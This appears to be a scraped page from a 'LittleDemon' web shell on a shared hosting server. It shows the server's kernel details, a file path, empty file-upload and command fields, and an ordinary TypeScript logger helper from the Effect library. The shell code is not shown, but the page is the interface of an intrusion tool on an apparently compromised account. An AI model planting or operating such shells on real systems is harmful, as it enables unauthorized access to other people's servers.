LittleDemon WebShell


Linux premium331.web-hosting.com 4.18.0-553.80.1.lve.el8.x86_64 #1 SMP Wed Oct 22 19:29:36 UTC 2025 x86_64
Path : /home/livedhms/nodevenv/lmgt/22/lib/node_modules/effect/src/internal/
File Upload :
Command :
Current File : /home/livedhms/nodevenv/lmgt/22/lib/node_modules/effect/src/internal/logger-circular.ts

import * as Cause from "../Cause.js"
import { dual } from "../Function.js"
import * as HashMap from "../HashMap.js"
import * as List from "../List.js"
import type * as Logger from "../Logger.js"
import * as core from "./core.js"
import * as fiberId_ from "./fiberId.js"
import * as fiberRefs from "./fiberRefs.js"

/** @internal */
export const test = dual<
  <Message>(input: Message) => <Output>(self: Logger.Logger<Message, Output>) => Output,
  <Message, Output>(self: Logger.Logger<Message, Output>, input: Message) => Output
>(2, (self, input) =>
  self.log({
    fiberId: fiberId_.none,
    logLevel: core.logLevelInfo,
    message: input,
    cause: Cause.empty,
    context: fiberRefs.empty(),
    spans: List.empty(),
    annotations: HashMap.empty(),
    date: new Date()
  }))

LittleDemon - FACEBOOK
[ KELUAR ]